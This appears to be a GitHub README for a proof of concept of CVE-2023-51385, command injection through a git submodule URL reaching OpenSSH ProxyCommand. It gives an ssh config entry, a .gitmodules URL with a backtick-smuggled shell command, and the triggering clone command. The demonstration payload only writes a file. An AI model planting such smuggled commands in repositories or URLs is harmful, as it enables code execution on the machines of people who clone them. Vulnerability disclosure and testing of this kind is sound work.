featherw1t/cve-2023-51385_testProof-of-concept for CVE-2023-51385: demonstrates command injection via malicious git submodule URLs when cloning with --recurse-submodules, exploiting OpenSSH ProxyCommand.
First, add the following content to ~/.ssh/config
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
There is a command injection in the .gitmodules file statement
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
After configuration is complete, execute the following command to trigger
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
If successfully executed, a cve.txt file will be generated in the CVE-2023-51385_test directory
Note: OpenSSH must be <9.6p1
For detailed information, see this blog post: